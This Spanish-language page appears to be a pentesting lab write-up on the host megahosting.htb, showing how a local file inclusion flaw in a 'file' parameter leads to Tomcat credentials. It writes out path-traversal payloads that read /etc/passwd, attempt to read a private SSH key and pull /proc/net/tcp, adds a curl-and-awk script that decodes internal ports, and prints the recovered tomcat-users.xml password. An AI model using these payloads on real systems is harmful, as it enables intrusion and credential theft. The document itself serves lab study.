> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-lfi/lfi-tomcat-credentials-pentesting-web.md).

# Credenciales de Tomcat mediante LFI

## LFI:

Acceso al archivo vulnerable `new.php` a través de una variable `?file` en la carpeta `sentencia`.

<figure><img src="/files/92b58156f7b75b5fbeddddea33407963864054e5" alt=""><figcaption></figcaption></figure>

**Prueba de inclusión local de archivos (LFI)**: `http://megahosting.htb/news.php?file=../../../../etc/passwd`

<figure><img src="/files/dadd1f6aa288c5c6cb79d89b864b2e9c85a22006" alt=""><figcaption></figcaption></figure>

* **Resultado:** Acceso al archivo `/etc/passwd`, revelando dos usuarios: `ash` y `root`. **Intento de acceder a la clave SSH privada de Ash**: `?file=../../../../../../../home/ash/.ssh/id_rsa`
* **Resultado:** Acceso denegado.

<figure><img src="/files/43d8969e85278f9641d917066154c2487ec94171" alt=""><figcaption></figcaption></figure>

**Buscar puertos internos** vía `/proc/net/tcp` para identificar servicios ocultos:

<figure><img src="/files/32f04f4f92f205d1c9a80495d1a78523854f74f1" alt=""><figcaption></figcaption></figure>

**Buscar puertos internos** vía `/proc/net/tcp` para identificar servicios ocultos:

```bash
curl -s -X GET "http://megahosting.htb/news.php?file=../../../../../../../proc/net/tcp" |
awk 'NR>1 {
    # Tomar el campo local_address
    split($2, addr_port, ":");
    # Convertir la dirección al formato IP
    hex_addr = addr_port[1];
    ip = sprintf("%d.%d.%d.%d",
                 strtonum("0x" substr(hex_addr, 7, 2)),
                 strtonum("0x" substr(hex_addr, 5, 2)),
                 strtonum("0x" substr(hex_addr, 3, 2)),
                 strtonum("0x" substr(hex_addr, 1, 2)));
    # Convertir el puerto a decimal
    port = strtonum("0x" addr_port[2]);
    # Imprimir el resultado en formato IP:Puerto
    printf "%s:%d/n", ip, port;
}'

```

**Resultado:** Descubrimiento del puerto interno `34650`

<figure><img src="/files/7626d998fac1bf60dd6a1adaeb4b1b2b800e3fb4" alt="" width="563"><figcaption></figcaption></figure>

### **Explotación del Gestor de Hosts Virtuales de Tomcat (Puerto 8080)**

**Acceso a Tomcat** a través del puerto 8080 y búsqueda de información de autenticación. Por defecto, esto se almacena en `/etc/tomcat9/tomcat-users.xml` o `usr/share/tomcat9/etc/tomcat-users.xml`

<figure><img src="/files/ae98ce1e93245e4ec92c3b3f88adfaa04e8f2281" alt=""><figcaption></figcaption></figure>

**Credenciales** encontrados: `username = tomcat` `password = $3cureP4s5w0rd123!`


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